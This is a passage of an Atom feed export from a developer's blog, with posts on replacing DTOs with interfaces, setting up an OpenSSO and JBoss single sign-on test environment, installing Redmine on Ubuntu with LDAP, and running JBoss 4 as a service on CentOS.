/&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;whenever you have to return or receive an object you must always copy it using almost double heap memory than normal (yeah, I know it's not really double, but it is something near it)&lt;/li&gt;&lt;li&gt;if you should return or receive a complex structure you have two choices: deep copy the structure or use multiple interactions, in both cases you are loosing heap space and processing time&lt;/li&gt;&lt;li&gt;almost any change to the business model interfaces will be reflected on the transfer objects AND on the code which maps the two (the latter does not apply in case you use introspection which is slower and lesser customizable) more than doubling the maintenance time and is error prone&lt;/li&gt;&lt;li&gt;programmers tend to confuse the difference between model objects and DTOs adding utility methods to the former and business logic to the latter&lt;/li&gt;&lt;li&gt;if in certain situations you need additional info on the client side from a returned DTO you have two choices: embed a service call into the DTO (which hides the complexity but expose to a performance hit as your users don't know they are starting another interaction) or call another service to obtain the additional infos (which adds complexity to your service interface)&lt;/li&gt;&lt;/ol&gt; Now let explain my way to replace DTOs with interfaces:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;if you need to return or receive almost all the informations stored in your business model object just do it, return or receive your business model object&lt;/li&gt;&lt;li&gt;whenever you need to return a DTO, may be to reduce the informations providen by hiding some properties/methods, return an interface which your business model object will implement&lt;/li&gt;&lt;li&gt;whenever you need to receive a DTO you have two choices: use a business model object ancestor or use a business model object component; the choice depends on your business model design, if you are used to build by composition or inheritance&lt;/li&gt;&lt;li&gt;when you need to return a complex structure just initialize the structure before returning it (this is needed to avoid lazy initialization errors)&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;Four simple rules to avoid class and memory duplication with a lot of processing time spent copying datas from one object to another.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Do you see situations where this solution is not applicable? Let me know, I'm sure I can find a non DTO based solution.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-8980348843962924360?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/8980348843962924360/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=8980348843962924360&amp;isPopup=true' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8980348843962924360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/8980348843962924360'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/05/five-reasons-to-hate-dtos.html' title='Five reasons to hate DTOs'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-7557047286369938694</id><published>2010-04-14T22:55:00.004+01:00</published><updated>2011-07-08T11:31:24.363+01:00</updated><title type='text'>Password meter</title><content type='html'>It's a good and recent practice to place a password strenght meter on registration forms, something like the one depicted below.&lt;br /&gt;&lt;div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GIMCwSYyv_s/S8Y7ac98KxI/AAAAAAAAAB4/uiSPwxDW_qY/s1600/password.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="129" src="http://4.bp.blogspot.com/-GIMCwSYyv_s/S8Y7ac98KxI/AAAAAAAAAB4/uiSPwxDW_qY/s640/password.png" width="640" /&gt;&amp;nbsp;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;br /&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;To achieve such a result could be very easy adapting something freely available on the web, like the one provided &lt;a href="http://justwild.us/examples/password/"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-7557047286369938694?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/7557047286369938694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=7557047286369938694&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7557047286369938694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/7557047286369938694'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/04/password-meter.html' title='Password meter'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-GIMCwSYyv_s/S8Y7ac98KxI/AAAAAAAAAB4/uiSPwxDW_qY/s72-c/password.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-6140449936608860768</id><published>2010-02-12T08:53:00.003Z</published><updated>2010-02-15T12:42:10.946Z</updated><title type='text'>Test Environment: OpenSSO + JBoss + WSO2 ESB + Liferay</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;Today I'm trying to setup a test environment for an architecture we thought could solve some project problems.&lt;br /&gt;&lt;br /&gt;The architecture is the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;JBoss 4.2 or 5.1 (the choice is delayed)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;OpenSSO 8&lt;br /&gt;&lt;/li&gt;&lt;li&gt;WSO2 ESB&lt;/li&gt;&lt;li&gt;Liferay 5.2&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;As first start I installed OpenSSO 8 Enterprise (the Express version is not working for me under any environment I tried: Tomcat 5.5, Tomcet 6, JBoss 4.2, JBoss 5.1, Glassfish 2.1) on top of Tomcat 6.&lt;br /&gt;The installation is easy, just deploy the &lt;span style="font-family:monospace;"&gt;opensso.war&lt;/span&gt; inside the &lt;span style="font-family:monospace;"&gt;tomcat/webapps&lt;/span&gt; folder, giving Tomcat one gigabyte of memory (add &lt;span style="font-family:monospace;"&gt;JAVA_OPTS=-Xmx1024m&lt;/span&gt; in &lt;span style="font-family:monospace;"&gt;catalina.sh&lt;/span&gt;) and a fully qualified domain name to the host running tomcat (&lt;span style="font-family:monospace;"&gt;sso.smartlab.net&lt;/span&gt; alias for &lt;span style="font-family:monospace;"&gt;127.0.0.1&lt;/span&gt; in &lt;span style="font-family:monospace;"&gt;/etc/hosts&lt;/span&gt;). On first access to the &lt;i&gt;http://sso.smartlab.net/opensso&lt;/i&gt; url (it's very important you use the fully qualified domain name on your first access as it's used for configuration) I simply ran the Default Configuration (suggested for test environments only) which requires just two passwords: the amAdmin credentials will be used to access the administration console while the amAgent credentials will be used .&lt;br /&gt;&lt;br /&gt;After I installed the OpenSSO policy agent on top of JBoss 4.2. First of all you need to create the J2EE policy agent profile in OpenSSO. To perform this you have to access the OpenSSO administration console (username amAdmin, password the one you specified during initial configuration) and &lt;a href="http://docs.sun.com/app/docs/doc/820-4578/gfxjk?a=view" target="_blank"&gt;follow the official instructions&lt;/a&gt; replacing the informations providen there with your test environment infos; mine were:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Name : &lt;i&gt;JBoss&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Server URL : &lt;i&gt;http://sso.smartlab.net:8080/opensso&lt;/i&gt;&lt;/li&gt;&lt;li&gt;Agent URL : &lt;i&gt;http://test.smartlab.net:8180/opensso-agent&lt;/i&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Please note the Agent URL has a different name and port: the name is resolved through &lt;span style="font-family:monospace;"&gt;/etc/host&lt;/span&gt; to &lt;span style="font-family:monospace;"&gt;127.0.0.1&lt;/span&gt; (but MUST share the same domain with the Server URL or additional configuration is needed) while the port MUST be different because I'm running both servers on the same machine.&lt;br /&gt;&lt;br /&gt;I'm just performing an initial test of the architecture so I'm cloning the &lt;span style="font-family:monospace;"&gt;server/default&lt;/span&gt; folder of my JBoss 4.2 installation to &lt;b&gt;&lt;span style="font-family:monospace;"&gt;server/sso&lt;/span&gt;&lt;/b&gt;, cleaning it up from previous work and editing the &lt;span style="font-family:monospace;"&gt;deploy/jboss-web.deployer/server.xml&lt;/span&gt; to switch the connector ports to &lt;span style="font-family:monospace;"&gt;8180&lt;/span&gt; (HTTP) and &lt;span style="font-family:monospace;"&gt;8109&lt;/span&gt; (AJP).&lt;br /&gt;&lt;br /&gt;I unzipped the &lt;a href="https://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_SMI-Site/en_US/-/USD/ViewProductDetail-Start?ProductRef=Agt-3.0-JBOSS-4.2-G-F@CDS-CDS_SMI" target="_blank"&gt;JBoss Policy Agent 3.0 package&lt;/a&gt; (unpacked in&lt;span style="font-family:monospace;"&gt; /opt/jboss/opensso&lt;/span&gt; removing the messing directory structure &lt;span style="font-family:monospace;"&gt;j2ee_agents/jboss_v42_agent&lt;/span&gt;) then I created a file with the agent password&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;$&gt; echo "agent password" &gt; /opt/jboss/opensso/agent.pwd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;then I ran the bin/agentadmin script using this informations:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;JBoss Server Config Directory :&lt;i&gt; /opt/jboss/server/sso/conf &lt;/i&gt;&lt;/li&gt;&lt;li&gt;JBoss Server Home Directory : &lt;i&gt;/opt/jboss &lt;/i&gt;&lt;/li&gt;&lt;li&gt;OpenSSO server URL : &lt;i&gt;http://sso.smartlab.net:8080/opensso &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Agent URL : &lt;i&gt;http://test.smartlab.net:8180/opensso-agent &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Agent Profile name : &lt;i&gt;JBoss &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Agent Profile Password file name : &lt;i&gt;/opt/jboss/opensso/agent.pwd &lt;/i&gt;&lt;/li&gt;&lt;li&gt;Agent permissions gets added to java permissions policy file : &lt;i&gt;false&lt;/i&gt;&lt;/li&gt;&lt;/ul&gt;Upon procedure completion some files were added to my &lt;span style="font-family:monospace;"&gt;server/sso&lt;/span&gt; JBoss instance, but I had to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;rename the &lt;span style="font-family:monospace;"&gt;deploy/agentapp.war&lt;/span&gt; file to &lt;span style="font-family:monospace;"&gt;deploy/opensso-agent.war&lt;/span&gt; because I used a non standard name;&lt;/li&gt;&lt;li&gt;change the &lt;span style="font-family:monospace;"&gt;jboss/bin/run.sh&lt;/span&gt; script because the suggested procedure to add the agent classpath wasn't good for my environment; I used &lt;a href="http://pastebin.com/f1821ba8b" target="_blank"&gt;this script excerpt&lt;/a&gt; in place of the suggested one (please note that this excerpt need you to change the first line of run.sh from &lt;span style="font-family:monospace;"&gt;&lt;b&gt;#!/bin/sh&lt;/b&gt;&lt;/span&gt; to &lt;span style="font-family:monospace;"&gt;&lt;b&gt;#!/bin/bash&lt;/b&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;img src="http://lh4.ggpht.com/_i3EJUvEf35o/Sx14yMbKIeI/AAAAAAAAABs/E0ByKfCeBnA/%5BUNSET%5D.png?imgmax=800" style="max-width: 800px; float: right; margin-top: 10px; margin-bottom: 10px; margin-left: 10px;" height="274" width="464" /&gt;I then ran my JBoss test instance with &lt;span style="font-family:monospace;"&gt;/opt/jboss/bin/run.sh -c sso&lt;/span&gt; and everything seems working: I tested it trying to access the &lt;i&gt;http://test.smartlab.net:8180/opensso-agent&lt;/i&gt; application being redirected to the OpenSSO login page on &lt;i&gt;http://sso.smartlab.net/opensso&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;The last test was about securing the JBoss JMX Console through OpenSSO. The activity required me to:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;add &lt;a href="http://pastebin.com/f79bc3f8f" target="_blank"&gt;this snippet&lt;/a&gt; to the &lt;span style="font-family:monospace;"&gt;deploy/jmx-console.war/WEB-INF/web.xml&lt;/span&gt; file&lt;br /&gt;&lt;/li&gt;&lt;li&gt;add &lt;a href="http://pastebin.com/f20c6baf" target="_blank"&gt;this snippet&lt;/a&gt; to the &lt;span style="font-family:monospace;"&gt;deploy/jmx-console.war/WEB-INF/jboss-web.xml&lt;/span&gt; file&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Upon completion the same OpenSSO login page should be displayed before trying to access the &lt;i&gt;http://test.smartlab.net:8180/jmx-console&lt;/i&gt; url.&lt;br /&gt;&lt;br /&gt;Ok, then let's try to log into the JBoss JMX Console, but with which credentials?!? On my first try I used the OpenSSO Administration Console superuser credentials (amAdmin/adminadmin) but I encountered a &lt;b&gt;redirection loop failure&lt;/b&gt; thus discovering my setup wasn't ready yet. Googling a little bit I discovered this error can be simply solved adding an addition parameter for the JVM to the Tomcat configuration: &lt;span style="font-family:monospace;"&gt;JAVA_OPTS="$JAVA_OPTS -Dcom.iplanet.am.cookie.c66Encode=true"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Solved the problem and going back to the JMX Console I got a 403 (resource forbidden) error and after some investigations I discovered the easiest solution was to tell OpenSSO to simply apply a limited policy of type SSO_ONLY (&lt;i&gt;Access Control &amp;gt; Top Level Realm &amp;gt; Agents &amp;gt; J2EE &amp;gt; JBoss &amp;gt; General&lt;/i&gt; add a &lt;span style="font-family:monospace;"&gt;jmx-console=SSO_ONLY&lt;/span&gt; map entry).&lt;br /&gt;&lt;br /&gt;In the near future I wish to try the usage of the OpenID 2 standard on OpenSSO, I've found some &lt;a href="http://bug4free.wordpress.com/2009/08/24/openid2-o-opensso/" target="_blank"&gt;instructions on another blog&lt;/a&gt; but I hadn't the time to investigate yet.&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img src="http://img.zemanta.com/pixy.gif?x-id=511a8452-68ec-8bde-a6e3-6c638b441507" alt="" class="zemanta-pixie-img" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-6140449936608860768?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/6140449936608860768/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=6140449936608860768&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6140449936608860768'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/6140449936608860768'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/02/test-environment-opensso-jboss-wso2-esb.html' title='Test Environment: OpenSSO + JBoss + WSO2 ESB + Liferay'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_i3EJUvEf35o/Sx14yMbKIeI/AAAAAAAAABs/E0ByKfCeBnA/s72-c/%5BUNSET%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-109628986221436089</id><published>2010-02-05T12:53:00.001Z</published><updated>2010-02-05T12:53:19.008Z</updated><title type='text'>Redmine Installation on Ubuntu 9.04</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I decided to give a try to Redmine 0.9.1 and decided to test it on my own notebook running Ubuntu 9.04 (64 bit). As a Ruby newby I had a few issues that's why I'm going to post here my experience. By the way: Redmine is running fine on my notebook authenticating users against my corporate OpenLDAP!&lt;br/&gt;&lt;br/&gt;First of all I installed the gem and ruby packages from the Ubuntu repos:&lt;br/&gt;&lt;br/&gt;sudo apt-get install rubygems ruby &lt;br/&gt;&lt;br/&gt;I decided to perform te remaining installation steps from gem (which, by the way, is a good tool to install ruby packages, something like apt):&lt;br/&gt;&lt;br/&gt;sudo gem install rails&lt;br/&gt;sudo gem install rake&lt;br/&gt;sudo gem install rack -v=1.0.1&lt;br/&gt;&lt;br/&gt;By default Redmine runs on top of mySQL, but I prefer PostgreSQL as RDBMS so I followed the &lt;a href='http://www.redmine.org/wiki/1/RedmineInstall' target='_blank'&gt;Redmine wiki instructions&lt;/a&gt; to configure PostgreSQL as backend.&lt;br/&gt;&lt;br/&gt;sudo gem install pg&lt;br/&gt;&lt;br/&gt;Here I got the first problem as a native library I haven't installed on my PC was required, but the outputted message was unclear: something regarding a missing pg_config parameter or command.&lt;br/&gt;After some search I discovered pg_config is a command line utility available through the Ubuntu repositories, so the problem is easily solved running:&lt;br/&gt;&lt;br/&gt;sudo apt-get install libpq-dev&lt;br/&gt;&lt;br/&gt;Now the previous installation command should finish properly and you can continue with the instructions available on the Redmine wiki.&lt;br/&gt;&lt;br/&gt;Once started the WEBrick server I started playing with the web application but I encountered another problem: the OpenLDAP integration. I entered all the parameters in the fields and get a succesfult connection test but I was unable to log into the system with OpenLDAP accounts: I discovered the problem was I entered too much informations in the LDAP Authentication definition!&lt;br/&gt;&lt;br/&gt;Strange but solving: in the Redmine LDAP Authentication definition page you MUST NOT insert any credentials (I was erroneusly populating those fields with LDAP administrator credentials) but leave those fields blank and voilà, LDAP integration works!&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=d33d16fa-6485-8db8-9539-e3a00aa17a7d' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-109628986221436089?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/109628986221436089/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=109628986221436089&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/109628986221436089'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/109628986221436089'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/02/redmine-installation-on-ubuntu-904.html' title='Redmine Installation on Ubuntu 9.04'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-4698864427150704956</id><published>2010-01-19T14:26:00.009Z</published><updated>2010-01-19T15:12:17.326Z</updated><title type='text'>New book on JBoss 5 AS arriving</title><content type='html'>&lt;span class="Apple-style-span" style="border-collapse: collapse;font-family:Calibri;" &gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Today an operative of &lt;/span&gt;&lt;a style="font-weight: bold;" href="http://www.packtpub.com/"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Packt&lt;/span&gt;&lt;/a&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt; has contacted me by email asking if I could be a reviewer for their new book &lt;a href="http://www.packtpub.com/jboss-as-5-development/book"&gt;&lt;span style="font-weight: bold;"&gt;JBoss AS 5 Development&lt;/span&gt;&lt;/a&gt;.&lt;/span&gt;&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Calibri;"&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Calibri;"&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;I was very proud by the request itself, especially because the request came because of this blog and the posts regarding JBoss AS: I'm used to consider this blog a place to store hints and tips for future use, I never thought someone could consider me just by the logs I was writing here! :-D&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Calibri;"&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:Calibri;"&gt;&lt;span class="Apple-style-span" style="border-collapse: collapse;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;Well, I hope to ave enough spare time to review the book and write here some considerations about it.&lt;br /&gt;&lt;br /&gt;Thank you &lt;span style="font-weight: bold;"&gt;Mr. Swati Viswanathan&lt;/span&gt; for contacting me ;-)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-4698864427150704956?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/4698864427150704956/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=4698864427150704956&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4698864427150704956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/4698864427150704956'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2010/01/new-book-on-jboss-5-as-arriving.html' title='New book on JBoss 5 AS arriving'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-3357015702303290462</id><published>2009-11-16T13:19:00.001Z</published><updated>2009-11-16T13:19:19.071Z</updated><title type='text'>JBoss 4 on CentOS 5</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;Following the step by step instructions to have JBoss 4 starting on boot on a CentOS 5 server.&lt;br/&gt;&lt;br/&gt;1. create a jboss user with the command&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;useradd --system -d &lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt; jboss&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;2. copy the init script already available in the jboss distribution into the /etc/init.d folder with the command&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;cp &lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;/bin/jboss_init_redhat.sh /etc/init.d/jboss&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;3. alter the /etc/init.d/jboss file to match with the CentOS 5 SELinux distribution feature changing the line&lt;br/&gt;&lt;font face='monospace'&gt;  SUBIT="su - $JBOSS_USER -c "&lt;/font&gt;&lt;br/&gt;to the equivalent SELinux of su&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;  SUBIT="runuser - $JBOSS_USER -c "&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;4. ensure the jboss user is capable of read and writing all the files in it's home folder executing the command&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;chown jboss.jboss &lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;i/&gt; -Rf&lt;br/&gt;chmod u+rw &lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;i/&gt; -Rf&lt;/font&gt;&lt;/b&gt;&lt;br/&gt;&lt;br/&gt;5. (optional) ensure the deployers are capable of read and writing all the files in the jboss server dirs&lt;br/&gt;&lt;b&gt;&lt;font face='monospace'&gt;chown jboss.devel &lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;/server -Rf&lt;br/&gt;chmod g+rws &lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;&lt;font color='#cc0000'&gt;/your/jboss/root/dir&lt;/font&gt;&lt;/font&gt;&lt;/b&gt;&lt;b&gt;&lt;font face='monospace'&gt;/server/ -Rf&lt;/font&gt;&lt;/b&gt; &lt;br/&gt;&lt;br/&gt;6. (optional) ensure the jboss server is listening on the correct address specifing the -b option on startup changing the /etc/init.d/jboss script adding the bolded line (the non bolded line is placed as a positional reference):&lt;br/&gt;&lt;font face='monospace'&gt;JBOSS_HOME=${JBOSS_HOME:-"/usr/local/jboss"}&lt;br/&gt;&lt;b&gt;JBOSS_HOST=&lt;font color='#cc0000'&gt;0.0.0.0&lt;/font&gt;&lt;/b&gt;&lt;/font&gt;&lt;br/&gt; &lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=d33d16fa-6485-8db8-9539-e3a00aa17a7d' alt='' class='zemanta-pixie-img qdtrmbsnmgtyqlplfsrz'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8062061358881596054-3357015702303290462?l=rlogiacco.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://rlogiacco.blogspot.com/feeds/3357015702303290462/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8062061358881596054&amp;postID=3357015702303290462&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3357015702303290462'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8062061358881596054/posts/default/3357015702303290462'/><link rel='alternate' type='text/html' href='http://rlogiacco.blogspot.com/2009/11/jboss-4-on-centos-5.html' title='JBoss 4 on CentOS 5'/><author><name>Roberto Lo Giacco</name><uri>http://www.blogger.com/profile/01075792712991750280</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8062061358881596054.post-2978241408013868551</id><published>2009-10-15T17:25:00.003+01:00</published><updated>2009-10-15T17:49:23.969+01:00</updated><title type='text'>EJB 2.x maximum performances and flexibility: abstract from Remote vs Local</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;I think the following should be a best practice whenever you should implement EJB 2.x specifications as this will allow to transparently switch between local and remote interfaces without any change.&lt;br/&gt;&lt;br/&gt;In EJB 2.x you need to write the following classes/interfaces to support both remote and local deployment:&lt;br/&gt;&lt;ul&gt;&lt;li&gt;public class &lt;b&gt;MyComponentBean&lt;/b&gt; implements javax.ejb.SessionBean&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentRemoteHome&lt;/b&gt; extends javax.ejb.EJBRemoteHome&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentRemote&lt;/b&gt; extends javax.ejb.EJBObject&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentLocalHome&lt;/b&gt; extends javax.ejb. EJBLocalHome&lt;/li&gt;&lt;li&gt;public interface &lt;b&gt;MyComponentLocal&lt;/b&gt; extends 